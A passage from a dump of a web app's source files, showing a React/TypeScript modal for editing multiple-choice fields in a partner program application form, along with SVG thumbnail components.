76.5 75.0959 76.3835 74.7663 76.3068L73.6754 76.0511C73.076 75.9091 72.6357 75.6889 72.3544 75.3906C72.076 75.0895 71.9368 74.7131 71.9368 74.2614C71.9368 73.892 72.0405 73.5653 72.2479 73.2812C72.4581 72.9972 72.7436 72.7741 73.1044 72.6122C73.468 72.4503 73.88 72.3693 74.3402 72.3693C74.9879 72.3693 75.4964 72.5114 75.8658 72.7955C76.2379 73.0795 76.5021 73.4545 76.6584 73.9205ZM82.3143 81.4545C82.1438 81.4545 81.9918 81.4403 81.8583 81.4119C81.7248 81.3864 81.6325 81.3608 81.5813 81.3352L81.837 80.4489C82.0813 80.5114 82.2972 80.5341 82.4847 80.517C82.6722 80.5 82.8384 80.4162 82.9833 80.2656C83.131 80.1179 83.266 79.8778 83.3881 79.5455L83.5756 79.0341L81.1552 72.4545H82.2461L84.0529 77.6705H84.1211L85.9279 72.4545H87.0188L84.2404 79.9545C84.1154 80.2926 83.9606 80.5724 83.7759 80.794C83.5913 81.0185 83.3768 81.1847 83.1325 81.2926C82.891 81.4006 82.6183 81.4545 82.3143 81.4545ZM90.771 79.1364C90.18 79.1364 89.6616 78.9957 89.2156 78.7145C88.7724 78.4332 88.4258 78.0398 88.1758 77.5341C87.9286 77.0284 87.805 76.4375 87.805 75.7614C87.805 75.0795 87.9286 74.4844 88.1758 73.9759C88.4258 73.4673 88.7724 73.0724 89.2156 72.7912C89.6616 72.5099 90.18 72.3693 90.771 72.3693C91.3619 72.3693 91.8789 72.5099 92.3221 72.7912C92.7681 73.0724 93.1147 73.4673 93.3619 73.9759C93.6119 74.4844 93.7369 75.0795 93.7369 75.7614C93.7369 76.4375 93.6119 77.0284 93.3619 77.5341C93.1147 78.0398 92.7681 78.4332 92.3221 78.7145C91.8789 78.9957 91.3619 79.1364 90.771 79.1364ZM90.771 78.233C91.2198 78.233 91.5891 78.1179 91.8789 77.8878C92.1687 77.6577 92.3832 77.3551 92.5224 76.9801C92.6616 76.6051 92.7312 76.1989 92.7312 75.7614C92.7312 75.3239 92.6616 74.9162 92.5224 74.5384C92.3832 74.1605 92.1687 73.8551 91.8789 73.6222C91.5891 73.3892 91.2198 73.2727 90.771 73.2727C90.3221 73.2727 89.9528 73.3892 89.663 73.6222C89.3732 73.8551 89.1587 74.1605 89.0195 74.5384C88.8803 74.9162 88.8107 75.3239 88.8107 75.7614C88.8107 76.1989 88.8803 76.6051 89.0195 76.9801C89.1587 77.3551 89.3732 77.6577 89.663 77.8878C89.9528 78.1179 90.3221 78.233 90.771 78.233ZM99.397 76.3239V72.4545H100.403V79H99.397V77.892H99.3288C99.1754 78.2244 98.9368 78.5071 98.6129 78.7401C98.2891 78.9702 97.88 79.0852 97.3857 79.0852C96.9766 79.0852 96.6129 78.9957 96.2947 78.8168C95.9766 78.6349 95.7266 78.3622 95.5447 77.9986C95.3629 77.6321 95.272 77.1705 95.272 76.6136V72.4545H96.2777V76.5455C96.2777 77.0227 96.4112 77.4034 96.6783 77.6875C96.9482 77.9716 97.2919 78.1136 97.7095 78.1136C97.9595 78.1136 98.2138 78.0497 98.4723 77.9219C98.7337 77.794 98.9524 77.598 99.1286 77.3338C99.3075 77.0696 99.397 76.733 99.397 76.3239ZM106.625 70.2727V79H105.62V70.2727H106.625ZM111.126 79.1364C110.536 79.1364 110.017 78.9957 109.571 78.7145C109.128 78.4332 108.781 78.0398 108.531 77.5341C108.284 77.0284 108.161 76.4375 108.161 75.7614C108.161 75.0795 108.284 74.4844 108.531 73.9759C108.781 73.4673 109.128 73.0724 109.571 72.7912C110.017 72.5099 110.536 72.3693 111.126 72.3693C111.717 72.3693 112.234 72.5099 112.678 72.7912C113.124 73.0724 113.47 73.4673 113.717 73.9759C113.967 74.4844 114.092 75.0795 114.092 75.7614C114.092 76.4375 113.967 77.0284 113.717 77.5341C113.47 78.0398 113.124 78.4332 112.678 78.7145C112.234 78.9957 111.717 79.1364 111.126 79.1364ZM111.126 78.233C111.575 78.233 111.945 78.1179 112.234 77.8878C112.524 77.6577 112.739 77.3551 112.878 76.9801C113.017 76.6051 113.087 76.1989 113.087 75.7614C113.087 75.3239 113.017 74.9162 112.878 74.5384C112.739 74.1605 112.524 73.8551 112.234 73.6222C111.945 73.3892 111.575 73.2727 111.126 73.2727C110.678 73.2727 110.308 73.3892 110.018 73.6222C109.729 73.8551 109.514 74.1605 109.375 74.5384C109.236 74.9162 109.166 75.3239 109.166 75.7614C109.166 76.1989 109.236 76.6051 109.375 76.9801C109.514 77.3551 109.729 77.6577 110.018 77.8878C110.308 78.1179 110.678 78.233 111.126 78.233ZM120.745 72.4545L118.325 79H117.302L114.882 72.4545H115.973L117.779 77.6705H117.848L119.654 72.4545H120.745ZM124.583 79.1364C123.952 79.1364 123.408 78.9972 122.951 78.7188C122.496 78.4375 122.145 78.0455 121.898 77.5426C121.654 77.0369 121.532 76.4489 121.532 75.7784C121.532 75.108 121.654 74.517 121.898 74.0057C122.145 73.4915 122.489 73.0909 122.929 72.804C123.373 72.5142 123.89 72.3693 124.48 72.3693C124.821 72.3693 125.158 72.4261 125.49 72.5398C125.823 72.6534 126.125 72.8381 126.398 73.0938C126.671 73.3466 126.888 73.6818 127.05 74.0994C127.212 74.517 127.293 75.0312 127.293 75.642V76.0682H122.248V75.1989H126.27C126.27 74.8295 126.196 74.5 126.049 74.2102C125.904 73.9205 125.696 73.6918 125.426 73.5241C125.159 73.3565 124.844 73.2727 124.48 73.2727C124.08 73.2727 123.733 73.3722 123.441 73.571C123.151 73.767 122.928 74.0227 122.772 74.3381C122.615 74.6534 122.537 74.9915 122.537 75.3523V75.9318C122.537 76.4261 122.623 76.8452 122.793 77.1889C122.966 77.5298 123.206 77.7898 123.513 77.9688C123.82 78.1449 124.176 78.233 124.583 78.233C124.847 78.233 125.086 78.196 125.299 78.1222C125.515 78.0455 125.701 77.9318 125.857 77.7812C126.013 77.6278 126.134 77.4375 126.219 77.2102L127.191 77.483C127.088 77.8125 126.917 78.1023 126.675 78.3523C126.434 78.5994 126.135 78.7926 125.78 78.9318C125.425 79.0682 125.026 79.1364 124.583 79.1364ZM129.556 79.0682C129.346 79.0682 129.165 78.9929 129.015 78.8423C128.864 78.6918 128.789 78.5114 128.789 78.3011C128.789 78.0909 128.864 77.9105 129.015 77.7599C129.165 77.6094 129.346 77.5341 129.556 77.5341C129.766 77.5341 129.946 77.6094 130.097 77.7599C130.248 77.9105 130.323 78.0909 130.323 78.3011C130.323 78.4403 130.287 78.5682 130.216 78.6847C130.148 78.8011 130.056 78.8949 129.939 78.9659C129.826 79.0341 129.698 79.0682 129.556 79.0682Z\"\n          fill=\"#262626\"\n        />\n        <rect\n          x=\"1\"\n          y=\"1\"\n          width=\"167\"\n          height=\"58\"\n          fill=\"url(#paint0_linear_2001_4135)\"\n        />\n        <rect x=\"133\" y=\"68\" width=\"2\" height=\"14\" fill=\"#D9D9D9\" />\n      </g>\n      <defs>\n        <linearGradient\n          id=\"paint0_linear_2001_4135\"\n          x1=\"84.5\"\n          y1=\"1\"\n          x2=\"84.5\"\n          y2=\"59\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"white\" />\n          <stop offset=\"1\" stopColor=\"white\" stopOpacity=\"0\" />\n        </linearGradient>\n        <clipPath id=\"clip0_2001_4135\">\n          <rect width=\"168\" height=\"100\" rx=\"6\" fill=\"white\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/application-form/modals/multiple-choice-field-modal.tsx",
    "content": "\"use client\";\n\nimport { programApplicationFormMultipleChoiceFieldSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { EditList, EditListItem } from \"@/ui/partners/groups/design/edit-list\";\nimport {\n  Button,\n  Modal,\n  Switch,\n  useMediaQuery,\n  useScrollProgress,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useId, useRef } from \"react\";\nimport { Controller, FormProvider, useForm } from \"react-hook-form\";\nimport { v4 as uuid } from \"uuid\";\nimport * as z from \"zod/v4\";\n\ntype MultipleChoiceFieldData = z.infer<\n  typeof programApplicationFormMultipleChoiceFieldSchema\n>;\n\ntype MultipleChoiceFieldModalProps = {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  defaultValues?: Partial<MultipleChoiceFieldData>;\n  onSubmit: (data: MultipleChoiceFieldData) => void;\n};\n\nexport function MultipleChoiceFieldModal(props: MultipleChoiceFieldModalProps) {\n  return (\n    <Modal showModal={props.showModal} setShowModal={props.setShowModal}>\n      <MultipleChoiceFieldModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction MultipleChoiceFieldModalInner({\n  setShowModal,\n  onSubmit,\n  defaultValues,\n}: MultipleChoiceFieldModalProps) {\n  const id = useId();\n  const { isMobile } = useMediaQuery();\n\n  const form = useForm<MultipleChoiceFieldData>({\n    defaultValues: defaultValues ?? {\n      id: uuid(),\n      type: \"multiple-choice\",\n      label: \"\",\n      required: false,\n      data: {\n        multiple: false,\n        options: [\n          {\n            id: uuid(),\n            value: \"\",\n          },\n        ],\n      },\n    },\n  });\n\n  const {\n    handleSubmit,\n    register,\n    watch,\n    setValue,\n    setError,\n    clearErrors,\n    formState: { errors },\n    control,\n  } = form;\n\n  const fields = watch(\"data.options\");\n\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  return (\n    <FormProvider {...form}>\n      <div className=\"p-4 pt-3\">\n        <h3 className=\"text-base font-semibold leading-6 text-neutral-800\">\n          {defaultValues ? \"Edit\" : \"Add\"} multiple choice\n        </h3>\n        <form\n          className=\"mt-4 flex flex-col gap-6\"\n          onSubmit={(e) => {\n            e.stopPropagation();\n            handleSubmit(async (data) => {\n              if (data.data.options.length < 2) {\n                setError(\"data.options\", {\n                  type: \"manual\",\n                  message: \"Requires minimum of 2 options\",\n                });\n                return;\n              }\n\n              setShowModal(false);\n              onSubmit(data);\n            })(e);\n          }}\n        >\n          {/* Label */}\n          <div>\n            <label\n              htmlFor={`${id}-label`}\n              className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Input label\n            </label>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-title`}\n                type=\"text\"\n                placeholder=\"\"\n                autoFocus={!isMobile}\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                  !!errors.label &&\n                    \"border-red-600 focus:border-red-500 focus:ring-red-600\",\n                )}\n                {...register(\"label\", { required: true })}\n              />\n            </div>\n          </div>\n\n          {/* Required */}\n          <div>\n            <Controller\n              name=\"required\"\n              control={control}\n              render={({ field }) => (\n                <label\n                  className=\"flex items-center justify-between gap-1.5\"\n                  htmlFor={`${id}-required`}\n                >\n                  <span className=\"text-sm font-medium text-neutral-700\">\n                    Required\n                  </span>\n                  <Switch\n                    id={`${id}-required`}\n                    checked={field.value}\n                    fn={field.onChange}\n                    trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n                    thumbDimensions=\"size-3\"\n                    thumbTranslate=\"translate-x-3\"\n                  />\n                </label>\n              )}\n            />\n          </div>\n\n          {/* Allow multiple selections */}\n          <div>\n            <Controller\n              name=\"data.multiple\"\n              control={control}\n              render={({ field }) => (\n                <label\n                  className=\"flex items-center justify-between gap-1.5\"\n                  htmlFor={`${id}-multiple`}\n                >\n                  <span className=\"text-sm font-medium text-neutral-700\">\n                    Allow multiple selections\n                  </span>\n                  <Switch\n                    id={`${id}-multiple`}\n                    checked={field.value}\n                    fn={field.onChange}\n                    trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20 w-7 h-4\"\n                    thumbDimensions=\"size-3\"\n                    thumbTranslate=\"translate-x-3\"\n                  />\n                </label>\n              )}\n            />\n          </div>\n\n          <div>\n            <label\n              htmlFor={`${id}-options`}\n              className=\"mb-2 flex items-center gap-2 text-sm font-medium text-neutral-700\"\n            >\n              Options\n            </label>\n\n            <div className=\"relative -my-2\">\n              <div\n                ref={scrollRef}\n                onScroll={updateScrollProgress}\n                className=\"scrollbar-hide relative max-h-[calc(100vh-300px)] overflow-y-auto py-2\"\n              >\n                <EditList\n                  values={fields.map(({ id }) => id)}\n                  addButtonLabel=\"Add option\"\n                  onAdd={() => {\n                    const id = uuid();\n\n                    const newOptions = [\n                      ...fields,\n                      {\n                        id,\n                        value: \"\",\n                      },\n                    ];\n\n                    setValue(\"data.options\", newOptions, { shouldDirty: true });\n\n                    if (newOptions.length >= 2) {\n                      clearErrors(\"data.options\");\n                    }\n\n                    return id;\n                  }}\n                  onReorder={(updated) =>\n                    setValue(\n                      \"data.options\",\n                      updated.map((id) => fields.find((f) => f.id === id)!),\n                      { shouldDirty: true },\n                    )\n                  }\n                >\n                  {fields.map((field, index) => {\n                    const error = errors.data?.options?.[index]?.value;\n\n                    return (\n                      <EditListItem\n                        key={field.id}\n                        value={field.id}\n                        error={!!error?.message}\n                        className={cn(\n                          !error && \"focus-within:border-neutral-500\",\n                        )}\n                        title={\n                          <input\n                            id={`${id}-${field.id}-name`}\n                            type=\"text\"\n                            placeholder=\"Option\"\n                            className={cn(\n                              \"my-1 block w-full rounded-md border-transparent bg-transparent py-1 text-sm text-neutral-900 placeholder-neutral-400 focus:border-transparent focus:outline-none focus:ring-0\",\n                            )}\n                            {...register(`data.options.${index}.value`, {\n                              required: \"Value is required\",\n                            })}\n                          />\n                        }\n                        onRemove={\n                          fields.length > 1\n                            ? () =>\n                                setValue(\n                                  \"data.options\",\n                                  fields.filter(({ id }) => id !== field.id),\n                                  { shouldDirty: true },\n                                )\n                            : undefined\n                        }\n                      />\n                    );\n                  })}\n                </EditList>\n              </div>\n\n              {/* Bottom scroll fade */}\n              <div\n                className=\"pointer-events-none absolute bottom-0 left-0 hidden h-16 w-full bg-gradient-to-t from-white sm:block\"\n                style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n              />\n            </div>\n          </div>\n\n          <div className=\"flex items-center justify-between gap-2\">\n            <div>\n              {errors.data?.options?.message && (\n                <span className=\"text-xs text-red-600 dark:text-red-400\">\n                  {errors.data?.options?.message}\n                </span>\n              )}\n            </div>\n            <div className=\"flex items-center gap-2\">\n              <Button\n                onClick={() => setShowModal(false)}\n                variant=\"secondary\"\n                text=\"Cancel\"\n                className=\"h-8 w-fit px-3\"\n              />\n              <Button\n                type=\"submit\"\n                variant=\"primary\"\n                text={defaultValues ? \"Update\" : \"Add\"}\n                className=\"h-8 w-fit px-3\"\n              />\n            </div>\n          </div>\n        </form>\n      </div>\n    </FormProvider>\n  );\n}\n\nexport function MultipleChoiceFieldThumbnail() {\n  return (\n    <svg\n      width=\"168\"\n      height=\"100\"\n      viewBox=\"0 0 168 100\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className=\"h-auto w-full\"\n    >\n      <rect\n        x=\"25.3125\"\n        y=\"27.5625\"\n        width=\"9.375\"\n        height=\"9.375\"\n        rx=\"2.1875\"\n        fill=\"#171717\"\n      />\n      <rect\n        x=\"25.3125\"\n        y=\"27.5625\"\n        width=\"9.375\"\n        height=\"9.375\"\n        rx=\"2.1875\"\n        stroke=\"#171717\"\n        strokeWidth=\"0.625\"\n      />\n      <g clipPath=\"url(#clip0_2001_4158)\">\n        <path\n          d=\"M27.8298 32.3367L29.2187 34.0728L32.1701 30.427\"\n          stroke=\"white\"\n          strokeWidth=\"0.9375\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <path\n        d=\"M45.8807 35.75V28.4773H48.3381C48.9063 28.4773 49.3726 28.5743 49.7372 28.7685C50.1018 28.9602 50.3717 29.2242 50.5469 29.5604C50.7221 29.8965 50.8097 30.2789 50.8097 30.7074C50.8097 31.1359 50.7221 31.5159 50.5469 31.8473C50.3717 32.1787 50.103 32.4392 49.7408 32.6286C49.3786 32.8156 48.9157 32.9091 48.3523 32.9091H46.3636V32.1136H48.3239C48.7121 32.1136 49.0246 32.0568 49.2614 31.9432C49.5005 31.8295 49.6733 31.6686 49.7798 31.4602C49.8887 31.2495 49.9432 30.9986 49.9432 30.7074C49.9432 30.4162 49.8887 30.1617 49.7798 29.9439C49.6709 29.7261 49.4969 29.558 49.2578 29.4396C49.0187 29.3189 48.7027 29.2585 48.3097 29.2585H46.7614V35.75H45.8807ZM49.304 32.483L51.0938 35.75H50.071L48.3097 32.483H49.304ZM54.3919 35.8636C53.8663 35.8636 53.4129 35.7476 53.0318 35.5156C52.653 35.2812 52.3606 34.9545 52.1547 34.5355C51.9511 34.1141 51.8493 33.6241 51.8493 33.0653C51.8493 32.5066 51.9511 32.0142 52.1547 31.5881C52.3606 31.1596 52.6471 30.8258 53.014 30.5866C53.3833 30.3452 53.8142 30.2244 54.3066 30.2244C54.5907 30.2244 54.8713 30.2718 55.1483 30.3665C55.4252 30.4612 55.6774 30.6151 55.9047 30.8281C56.1319 31.0388 56.313 31.3182 56.448 31.6662C56.5829 32.0142 56.6504 32.4427 56.6504 32.9517V33.3068H52.4458V32.5824H55.7981C55.7981 32.2746 55.7366 32 55.6135 31.7585C55.4927 31.517 55.3199 31.3265 55.095 31.1868C54.8725 31.0471 54.6097 30.9773 54.3066 30.9773C53.9728 30.9773 53.684 31.0601 53.4402 31.2259C53.1987 31.3892 53.0128 31.6023 52.8826 31.8651C52.7524 32.1278 52.6873 32.4096 52.6873 32.7102V33.1932C52.6873 33.6051 52.7583 33.9543 52.9004 34.2408C53.0448 34.5249 53.2449 34.7415 53.5005 34.8906C53.7562 35.0374 54.0533 35.1108 54.3919 35.1108C54.612 35.1108 54.8109 35.08 54.9885 35.0185C55.1684 34.9545 55.3234 34.8598 55.4537 34.7344C55.5839 34.6065 55.6845 34.4479 55.7555 34.2585L56.5652 34.4858C56.4799 34.7604 56.3367 35.0019 56.1355 35.2102C55.9342 35.4162 55.6857 35.5772 55.3897 35.6932C55.0938 35.8068 54.7612 35.8636 54.3919 35.8636ZM59.9849 35.8636C59.5304 35.8636 59.1291 35.7488 58.7811 35.5192C58.4331 35.2872 58.1608 34.9605 57.9643 34.5391C57.7678 34.1153 57.6696 33.6146 57.6696 33.0369C57.6696 32.464 57.7678 31.9669 57.9643 31.5455C58.1608 31.1241 58.4342 30.7985 58.7846 30.5689C59.135 30.3393 59.5398 30.2244 59.9991 30.2244C60.3542 30.2244 60.6348 30.2836 60.8407 30.402C61.0491 30.518 61.2077 30.6506 61.3166 30.7997C61.4279 30.9465 61.5143 31.0672 61.5758 31.1619H61.6468V28.4773H62.4849V35.75H61.6752V34.9119H61.5758C61.5143 35.0114 61.4267 35.1368 61.313 35.2884C61.1994 35.4375 61.0372 35.5713 60.8265 35.6896C60.6158 35.8056 60.3353 35.8636 59.9849 35.8636ZM60.0985 35.1108C60.4347 35.1108 60.7188 35.0232 60.9508 34.848C61.1828 34.6705 61.3592 34.4254 61.4799 34.1129C61.6007 33.7981 61.661 33.4347 61.661 33.0227C61.661 32.6155 61.6019 32.2592 61.4835 31.9538C61.3651 31.6461 61.1899 31.407 60.9579 31.2365C60.7259 31.0637 60.4395 30.9773 60.0985 30.9773C59.7434 30.9773 59.4475 31.0684 59.2108 31.2507C58.9764 31.4306 58.8 31.6757 58.6816 31.9858C58.5656 32.2936 58.5076 32.6392 58.5076 33.0227C58.5076 33.411 58.5668 33.7637 58.6852 34.081C58.8059 34.3958 58.9835 34.6468 59.2179 34.8338C59.4546 35.0185 59.7482 35.1108 60.0985 35.1108Z\"\n        fill=\"#262626\"\n      />\n      <rect\n        x=\"25.3125\"\n        y=\"45.3125\"\n        width=\"9.375\"\n        height=\"9.375\"\n        rx=\"2.1875\"\n        fill=\"white\"\n        stroke=\"#A1A1A1\"\n        strokeWidth=\"0.625\"\n      />\n      <path\n        d=\"M45.8807 53.5V46.2273H48.4233C48.9299 46.2273 49.3478 46.3149 49.6768 46.4901C50.0059 46.6629 50.2509 46.8961 50.4119 47.1896C50.5729 47.4808 50.6534 47.804 50.6534 48.1591C50.6534 48.4716 50.5978 48.7296 50.4865 48.9332C50.3776 49.1368 50.2332 49.2978 50.0533 49.4162C49.8757 49.5346 49.6828 49.6222 49.4744 49.679V49.75C49.697 49.7642 49.9207 49.8423 50.1456 49.9844C50.3705 50.1264 50.5587 50.33 50.7102 50.5952C50.8617 50.8603 50.9375 51.1847 50.9375 51.5682C50.9375 51.9328 50.8546 52.2607 50.6889 52.5518C50.5232 52.843 50.2616 53.0739 49.9041 53.2443C49.5466 53.4148 49.0814 53.5 48.5085 53.5H45.8807ZM46.7614 52.7188H48.5085C49.0838 52.7188 49.4922 52.6075 49.7337 52.3849C49.9775 52.16 50.0994 51.8878 50.0994 51.5682C50.0994 51.322 50.0367 51.0947 49.9112 50.8864C49.7857 50.6757 49.607 50.5076 49.375 50.3821C49.143 50.2543 48.8684 50.1903 48.5511 50.1903H46.7614V52.7188ZM46.7614 49.4233H48.3949C48.66 49.4233 48.8991 49.3712 49.1122 49.267C49.3277 49.1629 49.4981 49.0161 49.6236 48.8267C49.7514 48.6373 49.8153 48.4148 49.8153 48.1591C49.8153 47.8395 49.7041 47.5684 49.4815 47.3459C49.259 47.121 48.9063 47.0085 48.4233 47.0085H46.7614V49.4233ZM53.109 46.2273V53.5H52.271V46.2273H53.109ZM58.0815 51.2699V48.0455H58.9196V53.5H58.0815V52.5767H58.0247C57.8968 52.8537 57.698 53.0893 57.4281 53.2834C57.1582 53.4751 56.8173 53.571 56.4054 53.571C56.0645 53.571 55.7614 53.4964 55.4963 53.3473C55.2311 53.1958 55.0228 52.9685 54.8713 52.6655C54.7198 52.3601 54.644 51.9754 54.644 51.5114V48.0455H55.4821V51.4545C55.4821 51.8523 55.5933 52.1695 55.8159 52.4062C56.0408 52.643 56.3272 52.7614 56.6752 52.7614C56.8836 52.7614 57.0955 52.7081 57.3109 52.6016C57.5287 52.495 57.711 52.3317 57.8578 52.1115C58.0069 51.8913 58.0815 51.6108 58.0815 51.2699ZM62.7415 53.6136C62.2159 53.6136 61.7625 53.4976 61.3814 53.2656C61.0026 53.0312 60.7102 52.7045 60.5043 52.2855C60.3007 51.8641 60.1989 51.3741 60.1989 50.8153C60.1989 50.2566 60.3007 49.7642 60.5043 49.3381C60.7102 48.9096 60.9967 48.5758 61.3636 48.3366C61.733 48.0952 62.1638 47.9744 62.6562 47.9744C62.9403 47.9744 63.2209 48.0218 63.4979 48.1165C63.7749 48.2112 64.027 48.3651 64.2543 48.5781C64.4815 48.7888 64.6626 49.0682 64.7976 49.4162C64.9325 49.7642 65 50.1927 65 50.7017V51.0568H60.7955V50.3324H64.1477C64.1477 50.0246 64.0862 49.75 63.9631 49.5085C63.8423 49.267 63.6695 49.0765 63.4446 48.9368C63.2221 48.7971 62.9593 48.7273 62.6562 48.7273C62.3224 48.7273 62.0336 48.8101 61.7898 48.9759C61.5483 49.1392 61.3625 49.3523 61.2322 49.6151C61.102 49.8778 61.0369 50.1596 61.0369 50.4602V50.9432C61.0369 51.3551 61.108 51.7043 61.25 51.9908C61.3944 52.2749 61.5945 52.4915 61.8501 52.6406C62.1058 52.7874 62.4029 52.8608 62.7415 52.8608C62.9616 52.8608 63.1605 52.83 63.3381 52.7685C63.518 52.7045 63.6731 52.6098 63.8033 52.4844C63.9335 52.3565 64.0341 52.1979 64.1051 52.0085L64.9148 52.2358C64.8295 52.5104 64.6863 52.7519 64.4851 52.9602C64.2839 53.1662 64.0353 53.3272 63.7393 53.4432C63.4434 53.5568 63.1108 53.6136 62.7415 53.6136Z\"\n        fill=\"#262626\"\n      />\n      <rect\n        x=\"25.3125\"\n        y=\"63.0625\"\n        width=\"9.375\"\n        height=\"9.375\"\n        rx=\"2.1875\"\n        fill=\"#171717\"\n      />\n      <rect\n        x=\"25.3125\"\n        y=\"63.0625\"\n        width=\"9.375\"\n        height=\"9.375\"\n        rx=\"2.1875\"\n        stroke=\"#171717\"\n        strokeWidth=\"0.625\"\n      />\n      <g clipPath=\"url(#clip1_2001_4158)\">\n        <path\n          d=\"M27.8298 67.8367L29.2187 69.5728L32.1701 65.927\"\n          stroke=\"white\"\n          strokeWidth=\"0.9375\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <path\n        d=\"M50.8523 66.25C50.7741 66.0109 50.6712 65.7966 50.5433 65.6072C50.4179 65.4155 50.2675 65.2521 50.0923 65.1172C49.9195 64.9822 49.723 64.8793 49.5028 64.8082C49.2827 64.7372 49.0412 64.7017 48.7784 64.7017C48.3475 64.7017 47.9557 64.813 47.603 65.0355C47.2502 65.258 46.9697 65.5859 46.7614 66.0192C46.553 66.4524 46.4489 66.9839 46.4489 67.6136C46.4489 68.2434 46.5542 68.7749 46.7649 69.2081C46.9756 69.6413 47.2609 69.9692 47.6207 70.1918C47.9806 70.4143 48.3854 70.5256 48.8352 70.5256C49.2519 70.5256 49.6188 70.4368 49.9361 70.2592C50.2557 70.0793 50.5043 69.826 50.6818 69.4993C50.8617 69.1702 50.9517 68.7831 50.9517 68.3381L51.2216 68.3949H49.0341V67.6136H51.804V68.3949C51.804 68.9938 51.6761 69.5147 51.4205 69.9574C51.1671 70.4001 50.8168 70.7434 50.3693 70.9872C49.9242 71.2287 49.4129 71.3494 48.8352 71.3494C48.1913 71.3494 47.6255 71.1979 47.1378 70.8949C46.6525 70.5919 46.2737 70.161 46.0014 69.6023C45.7315 69.0436 45.5966 68.3807 45.5966 67.6136C45.5966 67.0384 45.6735 66.5211 45.8274 66.0618C45.9837 65.6001 46.2038 65.2071 46.4879 64.8828C46.772 64.5585 47.1082 64.3099 47.4964 64.1371C47.8847 63.9643 48.312 63.8778 48.7784 63.8778C49.1619 63.8778 49.5194 63.9358 49.8509 64.0518C50.1847 64.1655 50.4818 64.3277 50.7422 64.5384C51.005 64.7467 51.224 64.9964 51.3991 65.2876C51.5743 65.5765 51.6951 65.8973 51.7614 66.25H50.8523ZM53.1987 71.25V65.7955H54.0083V66.6193H54.0652C54.1646 66.3494 54.3445 66.1304 54.6049 65.9624C54.8654 65.7943 55.1589 65.7102 55.4856 65.7102C55.5472 65.7102 55.6241 65.7114 55.7164 65.7138C55.8088 65.7161 55.8786 65.7197 55.926 65.7244V66.5767C55.8975 66.5696 55.8324 66.5589 55.7306 66.5447C55.6312 66.5282 55.5259 66.5199 55.4146 66.5199C55.1494 66.5199 54.9127 66.5755 54.7044 66.6868C54.4984 66.7957 54.335 66.9472 54.2143 67.1413C54.0959 67.3331 54.0368 67.5521 54.0368 67.7983V71.25H53.1987ZM59.0403 71.3636C58.5147 71.3636 58.0614 71.2476 57.6802 71.0156C57.3014 70.7812 57.0091 70.4545 56.8031 70.0355C56.5995 69.6141 56.4977 69.1241 56.4977 68.5653C56.4977 68.0066 56.5995 67.5142 56.8031 67.0881C57.0091 66.6596 57.2955 66.3258 57.6625 66.0866C58.0318 65.8452 58.4627 65.7244 58.9551 65.7244C59.2392 65.7244 59.5197 65.7718 59.7967 65.8665C60.0737 65.9612 60.3258 66.1151 60.5531 66.3281C60.7804 66.5388 60.9615 66.8182 61.0964 67.1662C61.2314 67.5142 61.2988 67.9427 61.2988 68.4517V68.8068H57.0943V68.0824H60.4466C60.4466 67.7746 60.385 67.5 60.2619 67.2585C60.1412 67.017 59.9683 66.8265 59.7434 66.6868C59.5209 66.5471 59.2581 66.4773 58.9551 66.4773C58.6213 66.4773 58.3324 66.5601 58.0886 66.7259C57.8471 66.8892 57.6613 67.1023 57.5311 67.3651C57.4009 67.6278 57.3358 67.9096 57.3358 68.2102V68.6932C57.3358 69.1051 57.4068 69.4543 57.5488 69.7408C57.6932 70.0249 57.8933 70.2415 58.149 70.3906C58.4047 70.5374 58.7018 70.6108 59.0403 70.6108C59.2605 70.6108 59.4593 70.58 59.6369 70.5185C59.8168 70.4545 59.9719 70.3598 60.1021 70.2344C60.2323 70.1065 60.3329 69.9479 60.4039 69.7585L61.2136 69.9858C61.1284 70.2604 60.9851 70.5019 60.7839 70.7102C60.5827 70.9162 60.3341 71.0772 60.0382 71.1932C59.7422 71.3068 59.4096 71.3636 59.0403 71.3636ZM64.8606 71.3636C64.335 71.3636 63.8817 71.2476 63.5005 71.0156C63.1217 70.7812 62.8294 70.4545 62.6234 70.0355C62.4198 69.6141 62.318 69.1241 62.318 68.5653C62.318 68.0066 62.4198 67.5142 62.6234 67.0881C62.8294 66.6596 63.1158 66.3258 63.4828 66.0866C63.8521 65.8452 64.283 65.7244 64.7754 65.7244C65.0595 65.7244 65.34 65.7718 65.617 65.8665C65.894 65.9612 66.1461 66.1151 66.3734 66.3281C66.6007 66.5388 66.7818 66.8182 66.9167 67.1662C67.0517 67.5142 67.1191 67.9427 67.1191 68.4517V68.8068H62.9146V68.0824H66.2669C66.2669 67.7746 66.2053 67.5 66.0822 67.2585C65.9615 67.017 65.7886 66.8265 65.5637 66.6868C65.3412 66.5471 65.0784 66.4773 64.7754 66.4773C64.4416 66.4773 64.1528 66.5601 63.9089 66.7259C63.6674 66.8892 63.4816 67.1023 63.3514 67.3651C63.2212 67.6278 63.1561 67.9096 63.1561 68.2102V68.6932C63.1561 69.1051 63.2271 69.4543 63.3691 69.7408C63.5136 70.0249 63.7136 70.2415 63.9693 70.3906C64.225 70.5374 64.5221 70.6108 64.8606 70.6108C65.0808 70.6108 65.2797 70.58 65.4572 70.5185C65.6371 70.4545 65.7922 70.3598 65.9224 70.2344C66.0526 70.1065 66.1532 69.9479 66.2243 69.7585L67.0339 69.9858C66.9487 70.2604 66.8055 